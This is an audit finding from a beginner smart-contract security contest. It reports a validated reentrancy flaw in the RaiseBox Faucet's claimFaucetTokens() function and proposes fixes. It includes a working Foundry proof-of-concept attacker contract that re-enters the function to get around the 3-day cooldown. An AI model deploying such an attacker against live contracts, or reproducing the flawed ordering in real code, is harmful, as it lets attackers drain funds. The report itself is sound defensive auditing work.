Raisebox Faucet
First Flight #50
Beginner FriendlySolidity
100 EXP
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Submission Details
Severity: high
Valid

Reentrancy `claimFaucetTokens()`

kskducjjklllkk

Summary

The claimFaucetTokens() function is vulnerable to reentrancy attacks allowing multiple token claims due to cooldown state updates after external call.

Description

Normal Behavior

  • Users can claim tokens once every 3 days (cooldown period)

  • First-time claimers receive both tokens and ETH

Issue

The contract updates cooldown state after external calls, enabling reentrancy during ETH transfers:

Line: 198

function claimFaucetTokens() public {
//...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
//...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
//...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
//...
}
//...
//Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
//...
}

Risk

Impact

  • Attackers can bypass the 3-day cooldown mechanism

  • Unfair advantage over legitimate users

  • Token distribution occurs faster than intended

  • Enhances Sybil DDoS attacks: each cloned account can claim double tokens (2x `faucetDrip`) instead of one, accelerating faucet drainage

Likelihood

  • Only requires deploying a contract with malicious receive() function

  • No special timing or chain conditions needed

  • Deterministic exploit that works every time

  • Only applies to first-time ETH claimers (limited scope)

Proof of Concept

Textual PoC

  1. Attacker deploys malicious contract with receive() function

  2. Attacker calls claimFaucetTokens() (first time, eligible for ETH)

  3. Contract sends ETH to attacker's contract via call("")

  4. Attacker's receive() re-enters claimFaucetTokens()

  5. Since lastClaimTime hasn't been updated yet, cooldown check passes

  6. Attacker receives tokens again without waiting 3-day cooldown

Coded PoC

function testReentrancyAttack() public {
vm.startPrank(user1);
​
ReentrancyAttacker attacker = new ReentrancyAttacker();
attacker.attack(raiseBoxFaucet);
assertEq(raiseBoxFaucet.balanceOf(user1), raiseBoxFaucet.faucetDrip() * 2);
​
vm.stopPrank();
}
​
contract ReentrancyAttacker {
function attack(RaiseBoxFaucet raiseBoxFaucet_) public {
raiseBoxFaucet_.claimFaucetTokens();
raiseBoxFaucet_.transfer(msg.sender, raiseBoxFaucet_.balanceOf(address(this)));
}
​
receive() external payable {
RaiseBoxFaucet raiseBoxFaucet = RaiseBoxFaucet(payable(msg.sender));
if (raiseBoxFaucet.getUserLastClaimTime(address(this)) + 3 days <= block.timestamp) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}

Reentrancy.t.sol: https://github.com/Luu-Duc-Toan/2025-10-raisebox-faucet/blob/master/test/Reentrancy.t.sol

Recommended Mitigation

  1. Move cooldown state updates before external calls:

function claimFaucetTokens() public {
//...
+ // Effects
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
​
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
//...
// Interactions
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
//...
}
}
- // Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
//...
}

  1. Add OpenZeppelin's ReentrancyGuard:

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
- contract RaiseBoxFaucet is ERC20, Ownable {
- function claimFaucetTokens() public {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
+ function claimFaucetTokens() public nonReentrant {
//...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

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